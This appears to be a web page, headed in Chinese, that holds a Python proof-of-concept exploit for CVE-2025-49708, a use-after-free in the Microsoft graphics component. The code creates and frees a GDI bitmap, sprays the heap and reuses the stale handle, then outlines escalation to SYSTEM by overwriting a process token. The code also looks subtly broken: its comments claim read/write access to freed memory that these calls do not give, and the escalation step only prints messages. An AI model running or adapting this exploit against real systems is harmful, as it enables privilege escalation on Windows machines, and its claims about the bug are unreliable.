CVE-2025-49708：Microsoft图形组件释放后使用漏洞

# CVE-2025-49708 - Microsoft Graphics Component Use After Free PoC # WARNING: This is a conceptual proof-of-concept for educational purposes only. # Do not use against systems without explicit authorization. import ctypes import struct import sys # Load necessary Windows libraries user32 = ctypes.windll.user32 gdi32 = ctypes.windll.gdi32 kernel32 = ctypes.windll.kernel32 class GdiUAFExploit: def __init__(self): self.device_context = None self.bitmap_handle = None self.old_object = None self.sprayed_objects = [] def create_target_bitmap(self): """Step 1: Create a bitmap object in the vulnerable graphics component.""" self.device_context = gdi32.CreateCompatibleDC(None) if not self.device_context: raise Exception("Failed to create device context") # Create a bitmap with specific properties to trigger the vulnerability self.bitmap_handle = gdi32.CreateBitmap(0x100, 0x100, 1, 32, None) if not self.bitmap_handle: raise Exception("Failed to create bitmap") self.old_object = gdi32.SelectObject(self.device_context, self.bitmap_handle) print(f"[+] Created target bitmap: {hex(self.bitmap_handle)}") return self.bitmap_handle def trigger_free(self): """Step 2: Trigger the free of the bitmap object via specific API call sequence.""" # Deselect the object first gdi32.SelectObject(self.device_context, self.old_object) # Delete the bitmap - this frees the underlying memory result = gdi32.DeleteObject(self.bitmap_handle) print(f"[+] Bitmap deleted (freed): {result}") # The handle still exists in memory - UAF condition created def heap_spray(self): """Step 3: Spray heap to reclaim freed memory with controlled data.""" # Create multiple bitmaps to reclaim the freed memory region for i in range(0x1000): spray_bmp = gdi32.CreateBitmap(0x100, 0x100, 1, 32, None) if spray_bmp: self.sprayed_objects.append(spray_bmp) print(f"[+] Heap spray completed: {len(self.sprayed_objects)} objects allocated") def trigger_use_after_free(self): """Step 4: Use the stale handle to access the freed (now reclaimed) memory.""" # Attempt to use the stale bitmap handle - triggers UAF hdc = gdi32.CreateCompatibleDC(None) result = gdi32.SelectObject(hdc, self.bitmap_handle) if result: print("[+] UAF triggered - accessing freed memory via stale handle") # At this point, we have read/write access to the reclaimed memory gdi32.DeleteDC(hdc) return result def escalate_privileges(self): """Step 5: Leverage UAF for privilege escalation.""" # In a real exploit, this would: # 1. Read the kernel pool memory layout # 2. Locate EPROCESS structures # 3. Overwrite the token pointer to SYSTEM token # 4. Achieve privilege escalation to NT AUTHORITY\SYSTEM print("[*] Privilege escalation via token manipulation (conceptual)") print("[+] If successful, current process would run as SYSTEM") def cleanup(self): """Clean up allocated resources.""" for obj in self.sprayed_objects: try: gdi32.DeleteObject(obj) except: pass if self.device_context: gdi32.DeleteDC(self.device_context) def main(): print("=" * 60) print("CVE-2025-49708 - Microsoft Graphics Component UAF PoC") print("For educational and authorized testing purposes only") print("=" * 60) exploit = GdiUAFExploit() try: exploit.create_target_bitmap() exploit.trigger_free() exploit.heap_spray() exploit.trigger_use_after_free() exploit.escalate_privileges() except Exception as e: print(f"[-] Exploit failed: {e}") finally: exploit.cleanup() if __name__ == "__main__": main()